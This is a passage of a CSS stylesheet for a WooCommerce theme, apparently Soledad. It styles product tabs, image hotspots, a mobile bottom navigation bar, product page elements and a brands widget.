	width: 20px;
	height: 20px;
}
.penci-product-top-filter-button a span {
	margin-left: 5px;
}
/* Product Tabs */
.penci-products-tabs .products-tabs-title {
	font-weight: bold;
	margin-right: -15px;
	margin-bottom: 0;
	margin-left: -15px;
	list-style: none;
	padding: 0;
	color: #000;
	--li-pl: 0;
	--list-mb: 0;
	--li-mb: 0;
}
.penci-products-tabs .products-tabs-title li {
	margin-bottom: 0;
}
.penci-products-tabs.tabs-design-default .products-tabs-title .tab-label,
.penci-products-tabs.tabs-design-alt .products-tabs-title .tab-label {
	line-height: 1.2;
	position: relative;
	display: inline-block;
	padding-top: 1px;
	padding-bottom: 1px
}
.penci-products-tabs.tabs-design-default .products-tabs-title .tab-label:after,
.penci-products-tabs.tabs-design-alt .products-tabs-title .tab-label:after {
	position: absolute;
	top: 100%;
	left: 50%;
	width: 0;
	height: 2px;
	content: '';
	transition: all 0.4s cubic-bezier(0.18, 0.89, 0.45, 1.32);
	background-color: var(--pcaccent-cl);
}
.penci-products-tabs.tabs-design-default .products-tabs-title li:hover .tab-label:after,
.penci-products-tabs.tabs-design-default .products-tabs-title li.active-tab-title .tab-label:after,
.penci-products-tabs.tabs-design-alt .products-tabs-title li:hover .tab-label:after,
.penci-products-tabs.tabs-design-alt .products-tabs-title li.active-tab-title .tab-label:after {
	left: 0;
	width: 100%;
}
.penci-products-tabs .tabs-navigation-wrapper {
	position: relative
}
.penci-products-tabs .penci-tabs-header {
	position: relative
}
.penci-products-tabs .penci-tabs-header.text-right {
	text-align: right;
}
.penci-products-tabs .open-title-menu {
	display: none
}
.penci-products-tabs .tabs-name {
	font-size: 22px;
	text-transform: uppercase;
}
.penci-products-tabs .tabs-name > span {
	vertical-align: middle
}
.penci-products-tabs .tabs-name .img-wrapper {
	margin-right: 10px
}
.penci-products-tabs .img-wrapper {
	display: inline-block
}
.penci-products-tabs .products-tabs-title li {
	font-size: 16px;
	font-weight: inherit;
	line-height: 1.4;
	display: inline-flex;
	align-items: center;
	flex-direction: column;
	padding: 10px 15px;
	cursor: pointer;
	transition: opacity .25s ease,
	color .25s ease;
	vertical-align: bottom;
	text-transform: uppercase;
	opacity: .7;
	color: inherit;
}
.penci-products-tabs .products-tabs-title li:hover,
.penci-products-tabs .products-tabs-title li.active-tab-title {
	opacity: 1
}
.penci-products-tabs .products-tabs-title .tab-label {
	position: relative;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
}
.penci-products-tabs .penci-tab-content {
	visibility: visible;
	transition: transform .25s ease,
	opacity .25s ease,
	visibility 0s ease;
	transform: none;
	opacity: 1;
}
.penci-products-tabs .penci-tab-content.loading {
	visibility: hidden;
	transition: transform .25s ease,
	opacity .25s ease,
	visibility 0s ease .3s;
	transform: translateY(30px);
	pointer-events: none;
	opacity: 0;
}
.penci-products-tabs.tabs-design-default .penci-tab-content.loading .wrap-loading-arrow,
.penci-products-tabs.tabs-design-alt .penci-tab-content.loading .wrap-loading-arrow {
	display: none
}
.penci-products-tabs.tabs-design-default .penci-tabs-header {
	margin-bottom: 15px
}
.penci-products-tabs.tabs-design-default .tabs-name {
	margin-bottom: 10px
}
.penci-products-tabs.tabs-design-default .products-tabs-title .img-wrapper {
	margin-bottom: 10px;
	display: inline-block;
}
.penci-products-tabs .products-tabs-title .img-wrapper img {
	max-height: 30px;
	width: auto;
}
.penci-products-tabs.tabs-design-alt .penci-tabs-header {
	display: flex;
	align-items: center;
	flex-direction: row;
	flex-wrap: wrap;
	justify-content: space-between;
	margin-bottom: 10px
}
.penci-products-tabs.tabs-design-alt .tabs-name,
.penci-products-tabs.tabs-design-alt .tabs-navigation-wrapper {
	margin-bottom: 10px
}
.penci-products-tabs.tabs-design-alt .products-tabs-title li {
	align-items: center;
	flex-direction: row;
	vertical-align: middle
}
.penci-products-tabs.tabs-design-alt .products-tabs-title .img-wrapper {
	margin-right: 10px
}
.penci-products-tabs.tabs-design-simple .penci-tabs-header {
	display: flex;
	align-items: flex-end;
	flex-direction: row;
	margin-bottom: 20px;
	border-bottom: 2px solid #EAEAEA
}
.penci-products-tabs.tabs-design-simple .tabs-name {
	position: relative;
	z-index: 1;
	margin-right: 25px;
	margin-bottom: -2px;
	padding-top: 5px;
	padding-bottom: 5px;
	vertical-align: middle;
	border-bottom: 2px solid var(--pcaccent-cl);
}
.penci-products-tabs.tabs-design-simple .tabs-name > span {
	vertical-align: bottom
}
.penci-products-tabs.tabs-design-simple .tabs-name .img-wrapper {
	margin-left: 4px
}
.penci-products-tabs.tabs-design-simple .products-tabs-title li {
	font-size: 14px;
	align-items: flex-end;
	flex-direction: row;
}
.penci-products-tabs.tabs-design-simple .products-tabs-title li.active-tab-title {
	color: var(--pcaccent-cl)
}
.penci-products-tabs.tabs-design-simple .products-tabs-title .img-wrapper {
	margin-right: 10px
}
.penci-products-tabs.tabs-design-simple .penci-owl-nav,
.penci-products-tabs.tabs-design-simple .wrap-loading-arrow {
	position: absolute;
	top: -62px;
	animation: ease-in-out .5s ease both .3s
}
.penci-products-tabs.tabs-design-simple .penci-owl-nav > div,
.penci-products-tabs.tabs-design-simple .wrap-loading-arrow > div {
	position: static;
	visibility: visible;
	width: 30px;
	height: 40px;
	margin-top: 0;
	transform: none;
	pointer-events: visible;
	opacity: 1;
}
.penci-products-tabs.tabs-design-simple .penci-owl-nav > div:after,
.penci-products-tabs.tabs-design-simple .wrap-loading-arrow > div:after {
	font-size: 14px;
	font-weight: 700;
}
.penci-products-tabs.tabs-design-simple .penci-owl-nav > div[class*="prev"],
.penci-products-tabs.tabs-design-simple .penci-owl-nav > div[class*="next"],
.penci-products-tabs.tabs-design-simple .wrap-loading-arrow > div[class*="prev"],
.penci-products-tabs.tabs-design-simple .wrap-loading-arrow > div[class*="next"] {
	margin: 0;
	padding: 0
}
.penci-products-tabs.tabs-design-simple .wrap-loading-arrow {
	right: -10px
}
.penci-products-tabs.tabs-design-simple .penci-owl-nav {
	right: 0
}
.penci-products-tabs.tabs-design-simple .penci-carousel-spacing-30 .penci-owl-nav {
	right: 5px
}
.penci-products-tabs.tabs-design-simple .penci-owl-loaded:after,
.penci-products-tabs.tabs-design-simple .penci-owl-loaded:before {
	content: none
}
.penci-products-tabs.tabs-design-simple .penci-products-loader .penci-loader {
	position: absolute;
	top: 30px
}
.penci-products-tabs.tabs-design-simple .penci-tab-content.loading .penci-owl-nav,
.penci-products-tabs.tabs-design-simple .penci-tab-content.loading .wrap-loading-arrow {
	display: none
}
.penci-products-tabs .penci-tab-content-container {
	position: relative;
}
.penci-products-tabs .penci-tab-content-container .penci-custom-products,
.penci-products-tabs .penci-tab-content-container .penci-custom-products .penci-products-preloader {
	display: none;
}
.penci-products-tabs .penci-tab-content-container .penci-custom-products.active {
	display: block;
}
.penci-products-tabs .penci-tab-content-container .penci-products-preloader {
	padding: 30px 0;
}
.elementor-widget-penci_products_tabs .penci-products-preloader,
.penci-products-tabs .penci-tab-content-container .penci-products-preloader {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 999;
	display: flex;
	justify-content: center;
	visibility: hidden;
}
.elementor-widget-penci_products_tabs .elementor-widget-container.pre-load-content .penci-products-preloader,
.penci-products-tabs .penci-tab-content-container.pre-load-content .penci-products-preloader {
	visibility: visible;
}
body #main .elementor-widget-penci_products_tabs .elementor-widget-container.pre-load-content ul.products,
body #main .penci-products-tabs .penci-tab-content-container.pre-load-content ul.products {
	opacity: 0.5;
	pointer-events: none;
}
.elementor-element.loading .penci-tab-content .penci-products-loader {
	display: none !important;
	padding: 30px 0;
}
.penci-tabs-loader {
	position: absolute;
	top: 100%;
	right: 0;
	left: 0;
	visibility: hidden;
	margin-top: 50px;
	text-align: center;
	pointer-events: none;
	opacity: 0;
}
.browser-Safari .penci-tabs-loader {
	visibility: visible
}
.loading .penci-tabs-loader {
	visibility: visible;
	transition: opacity .3s ease,
	visibility .3s ease;
	opacity: 1;
}
.loading .penci-tabs-loader .penci-loader:after {
	animation: pencirotate 450ms infinite linear
}
@media only screen and (max-width: 1169px) {
	.penci-products-tabs.tabs-design-simple .penci-owl-nav > div,
	.penci-products-tabs.tabs-design-simple .wrap-loading-arrow > div {
		justify-content: center
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce.penci-products-tabs {
		overflow: hidden;
	}
	.penci-products-tabs .tabs-name .svg-icon {
		width: 25px !important;
		height: 25px !important
	}
	.penci-products-tabs .tabs-name .img-wrapper img {
		width: auto;
		max-height: 25px;
	}
	.penci-products-tabs .tabs-navigation-wrapper .svg-icon {
		width: 25px !important;
		height: 25px !important
	}
	.penci-products-tabs .tabs-navigation-wrapper .img-wrapper img {
		width: auto;
		max-height: 25px;
	}
	.penci-products-tabs .products-tabs-title {
		margin: 0 0 20px;
	}
	.penci-products-tabs .products-tabs-title::-webkit-scrollbar {
		display: none
	}
	.penci-products-tabs .products-tabs-title li {
		font-size: 14px;
		padding: 7px 10px;
	}
	.penci-products-tabs.tabs-design-alt .tabs-name,
	.penci-products-tabs.tabs-design-alt .tabs-navigation-wrapper {
		flex: 1 1 100%;
		width: 100%;
		max-width: 100%;
	}
	.penci-products-tabs.tabs-design-simple .penci-tabs-header {
		align-items: flex-start;
		flex-direction: column;
		margin-bottom: 10px;
		border-bottom: none
	}
	.penci-products-tabs.tabs-design-simple .tabs-name {
		margin-right: 0
	}
	.penci-products-tabs.tabs-design-simple .tabs-navigation-wrapper {
		flex: 1 1 auto;
		width: 100%;
		max-width: 100%;
		padding-top: 10px;
		border-top: 2px solid #EAEAEA
	}
	.penci-products-tabs.tabs-design-simple .penci-owl-nav,
	.penci-products-tabs.tabs-design-simple .wrap-loading-arrow {
		top: -103px
	}
	.penci-products-tabs.tabs-design-simple .owl-carousel .penci-owl-nav {
		right: -5px
	}
}
/* Hotspot */
.penci-image-hotspot-hotspots {
	position: relative
}
.penci-image-hotspot-img {
	width: 100%
}
.hotspot-content {
	position: absolute;
	z-index: 10;
	visibility: hidden;
	width: 250px;
	padding: 15px;
	transition: opacity .25s ease,
	visibility .25s ease,
	transform .25s ease;
	transform: translateY(20px) translateZ(0);
	text-align: center;
	opacity: 0;
	background: white;
	box-shadow: 0 0 3px rgba(0, 0, 0, 0.15)
}
.hotspot-content > div,
.hotspot-content > h4 {
	margin-bottom: 10px;
	text-decoration: none;
}
.hotspot-content .price {
	font-weight: var(--pchead-wei);
}
.hotspot-content ins {
	text-decoration: none;
}
.hotspot-content del {
	opacity: 0.5;
	font-weight: normal;
}
.hotspot-content .hotspot-content-image {
	margin: -15px -15px 10px;
}
.hotspot-content > div:last-child,
.hotspot-content > h4:last-child {
	margin-bottom: 0
}
.hotspot-content .hotspot-content-text {
	margin-bottom: 15px
}
.hotspot-content .penci-product-title a,
.hotspot-content .hotspot-content-image a {
	display: block;
	text-decoration: none;
	color: var(--pcheading-cl);
}
.post-entry .hotspot-content a:hover,
.wpb_text_column .hotspot-content a:hover,
.hotspot-content .penci-product-title a:hover,
.hotspot-content .hotspot-content-image a:hover {
	text-decoration: none;
}
.hotspot-content .penci-product-title {
	font-size: var(--pcsl_tt_fs);
}
.hotspot-content:before {
	position: absolute;
	content: "";
}
.hotspot-opened .hotspot-content {
	visibility: visible;
	transform: none;
	opacity: 1;
}
.hotspot-content:hover .penci-more-desc-btn {
	transform: translateY(0) translateZ(0)
}
.hotspot-content .price {
	font-size: var(--pcsl_price_fs);
	color: var(--pccat_price_cl);
}
.hotspot-content .add_to_cart_button,
.hotspot-content .product_type_variable {
	font-size: 12px;
	line-height: 16px;
	padding: 10px 14px;
}
.hotspot-content .add_to_cart_button:hover,
.hotspot-content .product_type_variable:hover {
}
.hotspot-content .add_to_cart_button:active,
.hotspot-content .product_type_variable:active {
}
.hotspot-content .added_to_cart {
	display: none
}
.hotspot-dropdown-top,
.hotspot-dropdown-bottom {
	left: -115px
}
.hotspot-dropdown-top:before,
.hotspot-dropdown-bottom:before {
	left: 0;
	width: 100%;
	height: 30px
}
.hotspot-dropdown-top.hotspot-overflow-left,
.hotspot-dropdown-bottom.hotspot-overflow-left {
	right: 0;
	left: auto
}
.hotspot-dropdown-top.hotspot-overflow-right,
.hotspot-dropdown-bottom.hotspot-overflow-right {
	left: 0
}
.hotspot-dropdown-top {
	bottom: 40px
}
.hotspot-dropdown-top:before {
	top: 100%
}
.hotspot-dropdown-bottom {
	top: 40px
}
.hotspot-dropdown-bottom:before {
	bottom: 100%
}
.hotspot-dropdown-left,
.hotspot-dropdown-right {
	top: -55px
}
.hotspot-dropdown-left:before,
.hotspot-dropdown-right:before {
	top: 0;
	width: 30px;
	height: 100%
}
.hotspot-dropdown-left {
	right: 40px
}
.hotspot-dropdown-left:before {
	left: 100%
}
.hotspot-dropdown-left.hotspot-overflow-right {
	right: auto;
	left: 40px
}
.hotspot-dropdown-left.hotspot-overflow-right:before {
	right: 100%;
	left: auto
}
.hotspot-dropdown-right {
	left: 40px
}
.hotspot-dropdown-right:before {
	right: 100%
}
.hotspot-dropdown-right.hotspot-overflow-left {
	right: 40px;
	left: auto
}
.hotspot-dropdown-right.hotspot-overflow-left:before {
	right: auto;
	left: 100%
}
.penci-image-hotspot {
	position: absolute;
	width: 20px;
	height: 20px;
	margin-top: -10px;
	margin-left: -10px;
	transition: opacity .8s ease;
	border-radius: 50%;
	box-shadow: 0 0 3px rgba(0, 0, 0, 0.15);
}
.hotspot-btn,
.hotspot-sonar {
	border-radius: 50%;
	backface-visibility: hidden;
	perspective: 800px
}
.hotspot-btn {
	z-index: 1;
	transition: all .3s ease;
	letter-spacing: normal;
}
.hotspot-action-click .hotspot-btn {
	cursor: pointer
}
.hotspot-btn:after {
	position: absolute;
	content: "";
	transition: all .3s ease
}
@keyframes pencisonar {
	0% {
		opacity: 0;
		transform: scale(0.2);
	}
	50% {
		opacity: .8;
	}
	100% {
		opacity: 0;
		transform: scale(1);
	}
}
@keyframes pencipulse {
	0%,
	100% {
		transform: scale(1);
	}
	50% {
		transform: scale(1.5);
	}
}
.hotspot-sonar {
	position: absolute;
	top: -8px;
	right: -8px;
	bottom: -8px;
	left: -8px;
	display: block;
	animation: pencisonar 2s ease infinite
}
.hotspot-icon-default .hotspot-btn {
	/*animation: pencipulse 2s ease-in-out infinite;*/
	background-color: var(--pcaccent-cl);
	box-shadow: inset 100px 100px transparent;
}
.hotspot-icon-default .hotspot-btn:after {
	top: 7px;
	left: 7px;
	width: 6px;
	height: 6px;
	border-radius: 50%;
	background-color: var(--pcbg-cl);
	animation: pencipulse 2s ease-in-out infinite;
}
.hotspot-icon-default .penci-image-hotspot.hotspot-opened .hotspot-btn {
	box-shadow: inset 100px 100px rgba(0, 0, 0, 0.1)
}
.hotspot-icon-default .hotspot-sonar {
	background-color: rgba(255, 255, 255, 0.5)
}
.hotspot-icon-alt .hotspot-btn {
	background-color: var(--pcbg-cl);
}
.hotspot-icon-alt .hotspot-btn:after {
	font-family: serif;
	font-size: 22px;
	font-weight: 700;
	line-height: 20px;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	content: "+";
	text-align: center;
	color: var(--pcaccent-cl)
}
.hotspot-icon-alt .penci-image-hotspot.hotspot-opened .hotspot-btn:after {
	color: var(--pcbg-cl);
}
.hotspot-icon-alt .penci-image-hotspot.hotspot-opened .hotspot-btn,
.hotspot-icon-alt .penci-image-hotspot:hover .hotspot-btn {
	background-color: var(--pcaccent-cl)
}
.hotspot-icon-alt .hotspot-sonar {
	background-color: var(--pcbg-cl);
}
@keyframes pencisonar {
	0% {
		opacity: 0;
		transform: scale(0.2)
	}
	50% {
		opacity: .8
	}
	100% {
		opacity: 0;
		transform: scale(1)
	}
}
.hotspot-content .add_to_cart_button:after,
.hotspot-content .product_type_variable:after {
	position: absolute;
	top: 50%;
	left: 50%;
	display: inline-block;
	width: 18px;
	height: 18px;
	margin-top: -9px;
	margin-left: -9px;
	content: "";
	transition: opacity 0s ease;
	vertical-align: middle;
	opacity: 0;
	border: 1px solid rgba(255, 255, 255, 0.3);
	border-left-color: var(--pcbg-cl);
	border-radius: 50%;
}
.hotspot-content .loading.add_to_cart_button,
.hotspot-content .loading.product_type_variable {
	color: transparent !important
}
.hotspot-content .loading.add_to_cart_button:after,
.hotspot-content .loading.product_type_variable:after {
	transition: opacity .25s ease;
	animation: pencirotate 450ms infinite linear;
	opacity: 1;
}
.hotspot-action-hover .hotspot-content {
	pointer-events: none
}
.hotspot-action-hover .penci-image-hotspot:hover .hotspot-content {
	visibility: visible;
	transform: none;
	pointer-events: visible;
	opacity: 1;
}
.hotspot-icon-default .penci-image-hotspot:hover .hotspot-btn {
	box-shadow: inset 100px 100px rgba(255, 255, 255, 0.1)
}
.hotspot-icon-alt .penci-image-hotspot:hover .hotspot-btn:after {
	color: var(--pcbg-cl);
}
@media only screen and (max-width: 767px) {
	.hotspot-type-product .hotspot-content-text {
		display: none
	}
	.hotspot-type-product .penci-entities-title,
	.hotspot-type-product .price {
		font-size: 14px
	}
	.hotspot-content {
		top: 40px;
		right: auto;
		bottom: auto
	}
	.hotspot-dropdown-left,
	.hotspot-dropdown-right {
		left: -115px
	}
	.hotspot-icon-alt .penci-image-hotspot:hover:not(.hotspot-opened) .hotspot-btn {
		background-color: var(--pcbg-cl);
	}
}
@media only screen and (max-width: 767px) {
	body.mobile-bottom-nav-active {
		padding-bottom: 60px;
	}
}
.penci-mobile-bottom-nav {
	position: fixed;
	z-index: 99999;
	right: 0;
	bottom: 0;
	left: 0;
	display: none;
	border-top: 1px solid var(--pcpage_gbdr_cl);
	background-color: var(--pcbg-cl);
	-moz-box-shadow: 0 -1px 5px rgba(190, 190, 190, 0.46);
	-webkit-box-shadow: 0 -1px 5px rgba(190, 190, 190, 0.46);
	box-shadow: 0 -1px 5px rgba(190, 190, 190, 0.46);
}
.penci-mobile-bottom-nav nav {
	display: flex;
	flex-shrink: 0;
}
@media only screen and (max-width: 767px) {
	.penci-mobile-bottom-nav {
		display: block;
	}
}
.penci-mobile-bottom-nav nav ul {
	display: flex;
	align-items: center;
	flex-direction: row;
	flex-shrink: 0;
	flex-wrap: wrap;
	justify-content: space-between;
	width: 100%;
}
.penci-mobile-bottom-nav nav ul li .penci-footer-icon {
	display: block;
	width: 20px;
	max-height: 20px;
	margin: 0 auto 5px;
}
.penci-mobile-bottom-nav nav ul li {
	display: inline-flex;
	position: relative;
}
.penci-mobile-bottom-nav nav ul li .current-item {
	font-size: 8px;
	line-height: 14px;
	position: absolute;
	z-index: 1;
	top: calc(50% - 30px);
	right: calc(50% - 20px);
	display: inline-block;
	width: 14px;
	height: 14px;
	-moz-transition: all 0.3s;
	-webkit-transition: all 0.3s;
	transition: all 0.3s;
	text-align: center;
	white-space: nowrap;
	color: var(--pcbg-cl);
	-moz-border-radius: 50%;
	-webkit-border-radius: 50%;
	border-radius: 50%;
	background: var(--pcaccent-cl);
}
.penci-mobile-bottom-nav nav ul li:last-child {
	border-right: 0;
}
.penci-mobile-bottom-nav nav ul li a {
	font-size: 12px;
	font-weight: bold;
	display: block;
	min-width: 50px;
	padding: 15px 10px;
	transition: all 0.3s ease-in-out;
	text-align: center;
	opacity: .75;
	text-transform: capitalize;
	color: var(--pctext-cl);
}
@media only screen and (max-width: 376px) {
	.penci-mobile-bottom-nav nav ul li a {
		padding: 15px 5px;
		min-width: auto;
	}
}
.penci-mobile-bottom-nav nav ul li a:hover {
	opacity: 1;
}
.penci-mobile-bottom-nav nav ul li i {
	font-size: 14px;
	display: block;
	font-family: 'penciicon';
	font-style: normal;
	font-weight: normal;
	font-variant: normal;
	text-transform: none;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.penci-mobile-bottom-nav nav ul li i:before {
	font-family: inherit;
	display: inline-block;
}
.penci-mobile-bottom-nav nav ul li i.home:before {
	content: "\f16e";
}
.penci-mobile-bottom-nav nav ul li i.shop:before {
	content: "\f16d";
}
.penci-mobile-bottom-nav nav ul li i.wishlist:before {
	content: "\f109";
}
.penci-mobile-bottom-nav nav ul li i.compare:before {
	content: "\f16b";
}
.penci-mobile-bottom-nav nav ul li i.cart:before {
	content: "\f10c";
}
.penci-mobile-bottom-nav nav ul li i.account:before {
	content: "\f16f";
}
.penci-mobile-bottom-nav nav ul li i.filter:before {
	content: "\f169";
	transform: rotate(90deg);
}
@media only screen and (max-width: 767px) {
	.penci-header-signup-form {
		margin-bottom: 30px;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce ul.products.penci-owl-carousel .owl-item li {
		width: 100% !important;
		margin-right: 0 !important;
	}
}
/* Restyle */
.woocommerce div.product .product_title {
	font-size: var(--pcs_fsp_single_tt);
	margin: 0;
}
.woocommerce div.product.penci-summary-align-center .single-product-share {
	justify-content: center;
}
.single-product-share .list-posts-share {
	display: flex;
}
@media only screen and (min-width: 768px) {
	.woocommerce div.product .product_title {
		padding-right: 110px;
	}
	.woocommerce div.product.penci-summary-align-center .product_title {
		padding-left: 110px;
	}
	.woocommerce div.product.top-related-posts-hidden .product_title,
	.woocommerce div.product.penci-product-img-fullwidth .product_title,
	.woocommerce div.product.penci-product-img-fullwidth-container .product_title,
	.woocommerce div.product.penci-product-img-large .product_title {
		padding-left: 0;
		padding-right: 0;
	}
	.woocommerce div.product.penci-summary-align-center .woocommerce-product-rating .star-rating {
		display: inline-block;
		float: none;
	}
	.woocommerce div.product.penci-product-fullwidth-container .product_title {
		padding-right: 0;
	}
	.woocommerce div.product.penci-product-fullwidth-container .penci-single-product-top-container {
		overflow: visible;
	}
	.woocommerce div.product.penci-product-fullwidth-container .penci-top-relate-post {
		top: -50px;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce div.product .product_title {
		font-size: var(--pcs_fsp_single_m_tt);
	}
	.woocommerce div.product .woocommerce-product-rating .star-rating {
		float: none;
	}
}
.woocommerce div.product p.price ins, .woocommerce div.product span.price ins,
.woocommerce div.product p.price, .woocommerce div.product span.price {
	font-size: var(--pcs_fsp_price);
}
@media only screen and (max-width: 767px) {
	.woocommerce div.product p.price ins, .woocommerce div.product span.price ins,
	.woocommerce div.product p.price, .woocommerce div.product span.price {
		font-size: var(--pcs_fsp_m_price);
	}
}
body.single .container.penci-breadcrumb span,
body.single .container.penci-breadcrumb span a,
body.single .container.penci-breadcrumb i,
body.single.woocommerce .container.penci-breadcrumb.penci-woo-breadcrumb.top,
.woocommerce div.product div.summary .penci-woo-breadcrumb {
	font-size: var(--pcs_fsp_breadcrumb);
}
@media only screen and (max-width: 767px) {
	body.single .container.penci-breadcrumb span,
	body.single .container.penci-breadcrumb span a,
	body.single .container.penci-breadcrumb i,
	body.single.woocommerce .container.penci-breadcrumb.penci-woo-breadcrumb.top,
	.woocommerce div.product div.summary .penci-woo-breadcrumb {
		font-size: var(--pcs_fsp_m_breadcrumb);
	}
}
.woocommerce div.product div[itemprop="description"] p,
.woocommerce div.product .woocommerce-tabs #tab-description p,
.woocommerce-product-details__short-description p {
	font-size: var(--pcs_fsp_general);
	color: var(--pcpage_gtext_cl);
}
.woocommerce div.product div[itemprop="description"] a,
.woocommerce div.product .woocommerce-tabs #tab-description a,
.woocommerce-product-details__short-description a {
	color: var(--pcpage_glink_cl);
}
.woocommerce div.product div[itemprop="description"] a:hover,
.woocommerce div.product .woocommerce-tabs #tab-description a:hover,
.woocommerce-product-details__short-description a:hover {
	color: var(--pcpage_glink_hv_cl);
}
.woocommerce div.product .woocommerce-tabs ul.tabs {
	padding-bottom: 20px;
	margin-bottom: 30px;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li a {
	font-size: var(--pcs_fsp_tab_tt);
	color: var(--pcpage_tab_tt_cl);
}
@media only screen and (max-width: 767px) {
	.woocommerce div.product .woocommerce-tabs ul.tabs li a {
		font-size: var(--pcs_fsp_tab_m_tt);
	}
}
.woocommerce div.product .woocommerce-tabs ul.tabs li.active a {
	color: var(--pcpage_tab_tt_active_cl);
}
.woocommerce .widget.woocommerce.widget_product_categories li span.count {
	float: right;
}
.woocommerce .widget_shopping_cart p.buttons a,
.woocommerce.widget_shopping_cart p.buttons a,
.woocommerce .widget_price_filter .price_slider_amount .button,
.woocommerce div.product form.cart .button {
	background-color: var(--pcpage_btn_atc_bg_cl);
}
.woocommerce .widget_shopping_cart p.buttons a:hover,
.woocommerce.widget_shopping_cart p.buttons a:hover,
.woocommerce .widget_price_filter .price_slider_amount .button:hover,
.woocommerce div.product form.cart .button:hover {
	background-color: var(--pcpage_btn_atc_bg_hv_cl);
}
.woocommerce div.product .product_meta > span > * {
	font-size: var(--pcs_fsp_meta);
	color: var(--pcpage_meta_cl);
}
@media only screen and (max-width: 767px) {
	.woocommerce div.product .product_meta > span > * {
		font-size: var(--pcs_fsp_m_meta);
	}
}
.woocommerce div.product .product_meta > span a,
.woocommerce div.product .product_meta > span a + * {
	color: var(--pcpage_meta_link_cl);
}
.woocommerce div.product .product_meta > span a:hover {
	color: var(--pcpage_meta_link_hv_cl);
}
.woocommerce ul.products li.product h3, .woocommerce ul.products li.product .woocommerce-loop-product__title {
	font-size: var(--pcsl_tt_fs);
}
.woocommerce ul.products.product-list li.product h3,
.woocommerce ul.products.product-list li.product .woocommerce-loop-product__title {
	font-size: var(--pcsl_tt_l_fs);
}
@media only screen and (max-width: 767px) {
	.woocommerce ul.products li.product h3, .woocommerce ul.products li.product .woocommerce-loop-product__title {
		font-size: var(--pcsl_tt_m_fs);
	}
	.woocommerce ul.products.product-list li.product h3,
	.woocommerce ul.products.product-list li.product .woocommerce-loop-product__title {
		font-size: var(--pcsl_tt_l_m_fs);
	}
}
li.product .penci-product-cats {
	font-size: var(--pcsl_meta_fs);
	color: var(--pccat_cat_cl);
}
@media only screen and (max-width: 767px) {
	li.product .penci-product-cats {
		font-size: var(--pcsl_meta_m_fs);
	}
}
.woocommerce ul.products li.product .price ins,
.woocommerce ul.products li.product .price {
	font-size: var(--pcsl_price_fs);
}
@media only screen and (max-width: 767px) {
	.woocommerce ul.products li.product .price ins,
	.woocommerce ul.products li.product .price {
		font-size: var(--pcsl_price_m_fs);
	}
}
.woocommerce ul.products .penci-soledad-product .penci-product-loop-button > a:before {
	font-size: var(--pcsl_btn_icon_size);
	color: var(--pcl_btn_group_txt_color);
}
.woocommerce ul.products:not(.product-style-7):not(.product-style-5) .penci-soledad-product .penci-product-loop-button > a:hover {
	background-color: var(--pcl_btn_group_bg_hv_color);
}
.woocommerce ul.products .penci-soledad-product .penci-product-loop-button > a:hover:before {
	color: var(--pcl_btn_group_txt_hv_color);
}
.woocommerce .penci-page-header h1 {
	color: var(--pcwp_tt_cl);
}
.woocommerce #respond input#submit.alt,
.woocommerce a.button.alt,
.woocommerce button.button.alt,
.woocommerce input.button.alt {
	color: var(--pcbg-cl);
}
.woocommerce #respond input#submit.alt:hover,
.woocommerce a.button.alt:hover,
.woocommerce button.button.alt:hover,
.woocommerce input.button.alt:hover {
	color: var(--pcwp_btn_alt_bg_hv_cl);
}
.woocommerce #respond input#submit,
.woocommerce a.button,
.woocommerce button.button,
.woocommerce input.button {
	line-height: 40px;
	display: inline-flex;
	align-items: center;
	justify-content: center;
	padding: 0 30px;
	color: white;
	background-color: var(--pcwp_btn_bg_cl);
}
.woocommerce #respond input#submit {
	color: white;
}
.woocommerce #respond input#submit:hover,
.woocommerce a.button:hover,
.woocommerce button.button:hover,
.woocommerce input.button:hover {
	opacity: 0.8;
	background-color: var(--pcwp_btn_bg_hv_cl);
}
.woocommerce div.product .product_meta,
.woocommerce div.product .woocommerce-tabs ul.tabs {
	border-color: var(--pcpage_gbdr_cl);
}
/* Brand */
.brands-widget .brand-item {
	text-align: center;
}
.brands-widget .brand-item a {
	display: block;
	padding: 20px;
}
.brands-widget .brand-item img {
	width: auto;
	height: auto;
	max-height: 60px;
	display: inline-block;
}
.brands-carousel .owl-carousel:not(.penci-owl-loaded),
.brands-carousel .owl-stage {
	display: flex;
	align-items: center;
}
.brands-list .brand-item {
	margin-bottom: 15px;
	text-align: left;
}
.brands-list .brand-item a {
	padding: 0;
	color: var(--pcheading-cl);
	text-decoration: none;
}
.brands-list .brand-item a:hover {
	color: var(--pcaccent-cl);
}
.brands-style-bordered {
	border: 1px solid var(--pcpage_gbdr_cl);
	border-right: 0;
	border-bottom: 0;
}
.brands-style-bordered.brands-list {
	border: 0;
}
.brands-style-bordered .brand-item {
	border-width: 1px;
	border-color: var(--pcpage_gbdr_cl);
}
.brands-style-bordered.brands-grid {
	overflow: hidden;
}
.brands-style-bordered.brands-grid .row {
	margin-right: -2px;
	margin-bottom: -2px;
}
.brands-style-bordered.brands-grid .brand-item {
	border-right-style: solid;
	border-bottom-style: solid;
}
.brands-style-bordered.brands-carousel .brand-item {
	border-right-style: solid;
}
.brands-style-bordered.brands-carousel {
	border: 0;
}
.brands-style-bordered.brands-carousel .owl-stage-outer,
.brands-style-bordered.brands-carousel .owl-carousel:not(.penci-owl-loaded) {
	border: 1px solid var(--pcpage_gbdr_cl);
}
.brands-style-bordered.brands-carousel .owl-stage-outer {
	margin-right: 1px;
	margin-left: 1px;
}
.brands-style-bordered.brands-carousel .owl-item:last-child .brand-item {
	border-right-style: none;
}
.brands-style-bordered.brands-list .row {
	margin-right: -10px;
	margin-left: -10px;
}
.brands-style-bordered.brands-list .brand-item {
	margin-bottom: 10px;
	padding-right: 10px;
	padding-left: 10px;
}
.brands-style-bordered.brands-list .brand-item > a {
	padding-bottom: 10px;
	border-bottom: 1px solid var(--pcpage_gbdr_cl);
}
.brands-style-bordered[data-hide_pagination_control="no"] .owl-carousel:not(.penci-owl-loaded) {
	padding-bottom: 0 !important;
}
.brands-hover-simple .brand-item img {
	transition: filter .3s ease;
	filter: grayscale(100%);
}
.brands-hover-simple .brand-item:hover img {
